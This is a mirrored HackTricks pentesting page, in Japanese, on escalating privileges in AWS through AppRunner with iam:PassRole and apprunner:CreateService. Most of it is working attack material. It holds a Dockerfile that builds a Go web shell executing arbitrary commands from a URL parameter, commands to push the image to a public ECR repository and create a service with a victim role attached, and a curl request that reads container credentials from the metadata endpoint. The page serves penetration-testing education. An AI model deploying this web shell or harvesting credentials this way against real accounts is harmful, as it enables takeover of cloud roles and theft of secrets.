mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-15 22:32:31 -08:00
2.7 KiB
2.7 KiB
AWS - AppRunner Privesc
{{#include ../../../../banners/hacktricks-training.md}}
AppRunner
iam:PassRole, apprunner:CreateService
これらの権限を持つ攻撃者は、AppRunner service を作成して IAM role をアタッチでき、その role の credentials にアクセスすることで権限を昇格させる可能性があります。
攻撃者はまず、AppRunner container 上で任意のコマンドを実行する web shell として機能する Dockerfile を作成します。
FROM golang:1.24-bookworm
WORKDIR /app
RUN apt-get update && apt-get install -y ca-certificates curl
RUN cat <<'EOF' > main.go
package main
import (
"fmt"
"net/http"
"os/exec"
)
func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
output, err := command.CombinedOutput()
if err != nil {
fmt.Fprint(w, err.Error(), output)
return
}
fmt.Fprint(w, string(output))
})
http.ListenAndServe("0.0.0.0:3000", nil)
}
EOF
RUN go mod init test && go build -o main .
EXPOSE 3000
CMD ["./main"]
次に、このイメージをECRリポジトリにプッシュします。
攻撃者が管理するAWSアカウントの公開リポジトリにイメージをプッシュすることで、被害者のアカウントがECRを操作する権限を持っていなくても、privilege escalationが可能になります。
IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
docker push $IMAGE_NAME
docker logout public.ecr.aws
次に、攻撃者はこの web shell image と悪用したい IAM Role を設定した AppRunner サービスを作成します。
aws apprunner create-service \
--service-name malicious-service \
--source-configuration '{
"ImageRepository": {
"ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest",
"ImageRepositoryType": "ECR_PUBLIC",
"ImageConfiguration": { "Port": "3000" }
}
}' \
--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
--query Service.ServiceUrl
サービスの作成が完了するのを待ったら、web shellを使ってcontainer credentialsを取得し、AppRunnerにアタッチされているIAM Roleの権限を取得する。
curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
Potential Impact: AppRunner services にアタッチできる任意の IAM ロールへの直接的な権限昇格。
{{#include ../../../../banners/hacktricks-training.md}}